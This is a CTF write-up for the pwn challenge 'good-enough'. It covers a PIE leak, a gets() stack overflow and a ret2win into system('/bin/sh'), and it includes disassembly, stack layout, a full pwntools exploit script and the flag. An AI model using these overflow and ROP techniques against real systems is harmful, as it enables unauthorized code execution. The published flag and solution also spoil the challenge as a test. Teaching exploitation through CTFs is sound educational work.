good-enough
- Category: pwn
- Difficulty: beginner–intermediate (classic ret2win with a PIE leak)
- Author: sportshead
- Attachments:
good-enough.tar.zstcontaininggood-enough(binary),libc.so.6,ld-linux-x86-64.so.2 - Remote:
ncat --ssl <instance_UUID>.play.gaslightctf.cooking 31337(rotating instance)
1. Summary
good-enough is a tiny 64-bit binary that leaks its own address for free, reads your input with gets() (a stack overflow), and contains a win function that runs system("/bin/sh"). The exploit is a textbook ret2win:
- Read the leaked address of
main→ compute the binary base (PIE base). - Send an overflow payload: padding → fake saved rbp → a
retgadget (for stack alignment) →win. winspawns a shell; runcat flag.
The full exploit script is in section 7.
2. Reconnaissance
Run checksec on the binary:
$ checksec --file=good-enough
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabledKey takeaways:
- No stack canary → we can smash the stack without tripping a guard in the binary itself.
- PIE enabled → all code addresses are randomized per run; we need a leak to know where
winlives. - Partial RELRO → GOT is writable (not needed here, but good to know).
Let's also peek at interesting strings and symbols:
$ strings -n 5 good-enough
[%p] du bist? <- prints a pointer!
gut genug
nein
bleib einfach nur du
/bin/sh
$ nm good-enough | rg ' (main|win)$'
0000000000001179 T main
0000000000001228 T winThere is a win symbol — almost certainly a "win"/shell function. Let's disassemble to confirm.
3. Disassembly
main:
1179: push rbp
117a: mov rbp,rsp
117d: sub rsp,0x10 ; 16 bytes of local buffer
1181: ... get stdin ...
1190: call setbuf@plt ; setbuf(stdin, 0) -> unbuffered stdin
11a4: call setbuf@plt ; setbuf(stdout, 0) -> unbuffered stdout
11a9: lea rdx, [main] ; <-- load address of main
11b0: lea rax, ["[%p] du bist? "]
11c2: call printf@plt ; printf("[%p] du bist? ", main) <-- LEAK
11c7: lea rax, [rbp-0x10] ; buf
11cb: mov rdi, rax
11ce: call gets@plt ; gets(buf) <-- OVERFLOW
11d3: lea rcx, ["gut genug"]
11e9: call strncmp@plt ; strncmp(buf, "gut genug", 9)
11ee: test eax, eax
11f0: je 120d ; if match -> "bleib einfach nur du"
...
1226: leave
1227: ret ; <-- our `ret` gadget lives here!
win:
1228: push rbp
1229: mov rbp,rsp
122c: lea rax, ["/bin/sh"]
1233: mov rdi, rax
1236: call system@plt ; system("/bin/sh") <-- GOAL
123b: nop
123c: pop rbp
123d: retTwo facts stand out:
printf("[%p] du bist? ", main)prints the runtime address ofmain. Since it is PIE,address_of_main = base + 0x1179, so:base = leaked_main - 0x1179 win = base + 0x1228 ret = base + 0x1227The byte at
0x1227isc3(a bareret), which we recycle as an alignment gadget.gets(buf)reads an arbitrarily long line into a 16-byte buffer atrbp-0x10.
4. Stack layout & overflow offset
main's stack frame (x86-64):
+------------------+
rbp-0x10| buffer (16 bytes) | <-- gets() writes here
+------------------+
rbp-0x08| (padding) |
+------------------+
rbp+0x00| saved rbp (8) | <- overwritten by us
+------------------+
rbp+0x08| return address | <- overwritten by us -> our ROP chain
+------------------+Offset to the saved rbp is 16 bytes, so offset to the return address is 16 + 8 = 24 bytes.
We send:
payload = b'gut genug'.ljust(16, b'A') # fill buffer (16 bytes)
+ b'B'*8 # junk saved rbp (8 bytes)
+ p64(ret) # alignment `ret` gadget
+ p64(win) # jump to system("/bin/sh")get reads this whole line into memory. When main reaches leave; ret:
leave→mov rsp, rbp; pop rbp…rbpbecomes0x4242424242424242(harmless junk).ret→ pops ourretgadget (base+0x1227).- the
retgadget executes a bareret→ popswin(base+0x1228) and jumps there.
Why the extra ret gadget (stack alignment)
On x86-64, the ABI requires rsp to be 16-byte aligned when call system runs, because glibc uses movaps (aligned SSE moves) in printf, system, etc. Misalignment crashes the process inside the original printf/system and looks like a mysterious SIGSEGV.
win does push rbp (8 bytes) then call system (pushes another 8 on the call). Starting with one extra ret (8 bytes popped) makes the math come out right: the final rsp at call system is 16-aligned.
5. Putting it together
Connection interaction:
[0x7f...whatever] du bist? <-- we read this, parse the hex, compute baseThen we send the payload, then shell commands. The binary matches strncmp(buf, "gut genug", 9) (we start the payload with that string, so it prints the "bleib einfach nur du" line — cosmetic, but keeps the flow clean).
Note: after the shell session, win returns into stack garbage and the parent SIGSEGVs. That happens only after system() hands off to the shell, so it is harmless.
6. Pitfall: local testing looked broken (important!)
On some local setups the exploit prints:
bleib einfach nur du*** stack smashing detected ***: terminatedand no shell output, even though the payload is correct. This is not a bug in the exploit. It is an environment artifact:
- To run the challenge locally you load the provided libc by setting
LD_LIBRARY_PATH. - That environment variable is inherited by the
/bin/shthatsystem()spawns. - The system
/bin/sh(e.g. bash) then loads the provided glibc 2.42, which is incompatible with it → the child shell crashes with the bogus "stack smashing detected" message. - The parent itself only SIGSEGVs later, after
winreturns — irrelevant.
Fix: do not export LD_LIBRARY_PATH. Instead pass the library directory to the provided loader as an argument, which does not leak into spawned children:
./ld-linux-x86-64.so.2 --library-path ./ ./good-enoughor, equivalently, launch the loader with pwntools' process(..., env={'LD_LIBRARY_PATH': ...}) only for running the vulnerable binary, not for testing the shell — better: use the --library-path form above.
On the remote, this problem does not exist; the service runs the binary with its own sane environment.
7. Full exploit script
#!/usr/bin/env python3
from pwn import *
context.arch = class="hljs-string">"amd64"
# use class="hljs-string">'info' if you want pwntoolsclass="hljs-string">' pretty banners; 'error' keeps output clean
context.log_level = class="hljs-string">"info"
HOST = class="hljs-string">"060ed7e5-1edf-4439-affd-46860b1a1073.play.gaslightctf.cooking" # replace with your instance
PORT = 31337
BIN = class="hljs-string">"./good-enough"
LD = class="hljs-string">"./ld-linux-x86-64.so.2"
MAIN = 0x1179 # main()
WIN = 0x1228 # win() -> system(class="hljs-string">"/bin/sh")
RET = 0x1227 # bare `ret` byte inside main (alignment gadget)
def exploit(io):
# 1) leak
data = io.recvuntil(bclass="hljs-string">"du bist? ")
leak = int(re.search(rbclass="hljs-string">"0x([0-9a-f]+)", data).group(1), 16)
base = leak - MAIN
win = base + WIN
ret = base + RET
log.success(fclass="hljs-string">"base = {base:#x}")
# 2) overflow -> ret-alignment -> win
payload = bclass="hljs-string">"gut genug".ljust(16, bclass="hljs-string">"A") # fills 16-byte buffer (also passes strncmp)
payload += bclass="hljs-string">"B" * 8 # junk saved rbp
payload += p64(ret) # alignment gadget
payload += p64(win) # system(class="hljs-string">"/bin/sh")
io.sendline(payload)
# 3) shell
io.sendline(bclass="hljs-string">"cat flag")
io.interactive()
if __name__ == class="hljs-string">"__main__":
# remote
io = remote(HOST, PORT, ssl=True)
# --- local testing (use the loader flag, NOT LD_LIBRARY_PATH,
# otherwise the spawned /bin/sh crashes) ---
# io = process([LD, class="hljs-string">"--library-path", class="hljs-string">".", BIN])
exploit(io)Run it:
python3 exploit.pyOutput:
[*] base = 0x6228...
[+] base = 0x6228...
bleib einfach nur du
gaslightCTF{du_b1st_gut_g3nuuuuu_uuuuu_uuug_ca6568dad707}8. Flag
gaslightCTF{du_b1st_gut_g3nuuuuu_uuuuu_uuug_ca6568dad707}(The challenge name is a pun on the check string "gut genug", German for "good enough".)
9. Lessons
- PIE is not a barrier when the program leaks a code pointer.
leak - offsetgives the base; add any symbol/gadget offset. - Ret2win is the first thing to check when there's an overflow and a
system("/bin/sh")function. - Check stack alignment (16-byte
rsprule) whenever a glibc function is the ROP target; a single leadingretfixes it. - Look carefully at your testing environment before blaming your payload. Here the "stack smashing" came from the child shell inheriting a test-only
LD_LIBRARY_PATHand loading an incompatible libc — nothing to do with the exploit.